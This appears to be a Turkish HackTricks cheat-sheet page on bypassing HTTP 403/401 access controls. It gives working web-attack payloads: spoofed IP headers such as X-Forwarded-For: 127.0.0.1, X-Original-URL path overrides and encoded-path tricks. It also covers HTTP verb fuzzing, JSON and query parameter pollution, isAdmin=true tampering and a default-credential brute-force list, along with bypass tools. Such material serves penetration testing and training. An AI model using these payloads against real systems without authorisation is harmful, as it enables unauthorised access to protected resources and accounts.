403 & 401 Bypass'ları
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
HTTP Fiilleri/Yöntemleri Fuzzing
Dosyaya erişmek için farklı fiiller kullanmayı deneyin: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, HEAD için 200 yanıtı ve
Content-Length: 55
demek ki HEAD fiili bilgiye erişebilir. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız. X-HTTP-Method-Override: PUT
gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.TRACE
fiilini kullanın ve eğer çok şanslıysanız belki yanıt içinde ara proxy'ler tarafından eklenen başlıkları görebilirsiniz, bu başlıklar faydalı olabilir.
HTTP Başlıkları Fuzzing
-
Host başlığını rastgele bir değere değiştirin (burada işe yaradı)
-
Kaynağa erişmek için diğer Kullanıcı Ajanlarını kullanmayı deneyin.
-
HTTP Başlıklarını Fuzzing: HTTP Proxy Başlıkları, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bütün bunları yapmak için fuzzhttpbypass aracını oluşturdum.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
Eğer yol korunuyorsa, bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:
-
X-Original-URL: /admin/console
-
X-Rewrite-URL: /admin/console
-
Eğer sayfa bir proxy'nin arkasındaysa, belki de proxy, özel bilgilere erişmenizi engelliyordur. HTTP İstek Kaçırma veya hop-by-hop başlıkları'nı kötüye kullanmayı deneyin.
-
Farklı yanıtlar aramak için özel HTTP başlıklarını fuzzing yapın.
-
HTTP Yöntemlerini fuzzing yaparken özel HTTP başlıklarını fuzzing yapın.
-
Host başlığını kaldırın ve belki de korumayı aşabileceksiniz.
Yol Fuzzing
Eğer /path engellenmişse:
- /**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca _** /%252e**/path (çift URL kodlaması) deneyin.
- Unicode bypass deneyin: /%ef%bc%8fpath (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında //path olacak ve belki de /path adı kontrolünü aşmış olacaksınız.
- Diğer yol bypass'ları:
- site.com/secret –> HTTP 403 Yasak
- site.com/SECRET –> HTTP 200 Tamam
- site.com/secret/ –> HTTP 200 Tamam
- site.com/secret/. –> HTTP 200 Tamam
- site.com//secret// –> HTTP 200 Tamam
- site.com/./secret/.. –> HTTP 200 Tamam
- site.com/;/secret –> HTTP 200 Tamam
- site.com/.;/secret –> HTTP 200 Tamam
- site.com//;//secret –> HTTP 200 Tamam
- site.com/secret.json –> HTTP 200 Tamam (ruby)
- Aşağıdaki durumlarda bu listeyi kullanın:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- Diğer API bypass'ları:
- /v3/users_data/1234 --> 403 Yasak
- /v1/users_data/1234 --> 200 Tamam
- {“id”:111} --> 401 Yetkisiz
- {“id”:[111]} --> 200 Tamam
- {“id”:111} --> 401 Yetkisiz
- {“id”:{“id”:111}} --> 200 Tamam
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parametre Kirliliği)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Parametre Kirliliği)
Parametre Manipülasyonu
- param değerini değiştirin:
id=123
-->id=124
- URL'ye ek parametreler ekleyin:
?
id=124
—->id=124&isAdmin=true
- Parametreleri kaldırın
- Parametrelerin sırasını değiştirin
- Özel karakterler kullanın.
- Parametrelerde sınır testi yapın — -234 veya 0 veya 99999999 gibi değerler sağlayın (sadece bazı örnek değerler).
Protokol versiyonu
HTTP/1.1 kullanıyorsanız 1.0 kullanmayı deneyin veya 2.0'ı destekleyip desteklemediğini test edin.
Diğer Bypass'lar
- Alan adının IP veya CNAME'sini alın ve doğrudan iletişim kurmayı deneyin.
- Sunucuya baskı yapmayı deneyin, yaygın GET istekleri gönderin (Bu adam için işe yaradı).
- Protokolü değiştirin: http'den https'ye veya https'den http'ye geçin.
- https://archive.org/web/ adresine gidin ve geçmişte o dosyanın dünya çapında erişilebilir olup olmadığını kontrol edin.
Brute Force
- Şifreyi tahmin edin: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Yoksa CTF meydan okuma adını mı biliyorsunuz?
- Brute force: Temel, digest ve NTLM kimlik doğrulamasını deneyin.
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
Otomatik Araçlar
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Forbidden Buster
- NoMoreForbidden
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.